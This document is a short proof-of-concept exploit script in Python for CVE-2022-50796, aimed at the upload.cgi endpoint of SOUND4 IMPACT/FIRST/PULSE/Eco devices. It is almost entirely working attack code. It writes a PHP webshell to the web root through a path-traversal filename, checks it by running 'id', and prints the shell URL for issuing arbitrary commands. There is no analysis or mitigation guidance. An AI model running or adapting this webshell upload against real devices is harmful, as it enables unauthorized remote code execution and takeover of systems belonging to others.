CVE-2022-50796

import requests import sys # CVE-2022-50796 PoC - SOUND4 IMPACT/FIRST/PULSE/Eco upload.cgi RCE # Target: SOUND4 devices running firmware <= 2.x target = sys.argv[1] if len(sys.argv) > 1 else 'http://target:8080' # Malicious file content - webshell webshell_content = b'<?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?>' # Path traversal payload to write outside web root filename = '../../../var/www/html/shell.php' url = f'{target}/cgi-bin/upload.cgi' files = { 'file': (filename, webshell_content, 'application/octet-stream') } headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2022-50796)', } print(f'[*] Exploiting CVE-2022-50796 against {target}') print(f'[*] Uploading webshell via path traversal...') try: response = requests.post(url, files=files, headers=headers, timeout=10) print(f'[*] Status code: {response.status_code}') # Verify upload shell_url = f'{target}/shell.php' verify = requests.get(shell_url, params={'cmd': 'id'}, timeout=10) if 'uid=' in verify.text: print('[+] RCE successful! Webshell uploaded.') print(f'[+] Access shell at: {shell_url}?cmd=<command>') else: print('[-] Upload may have failed or path traversal blocked.') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}')

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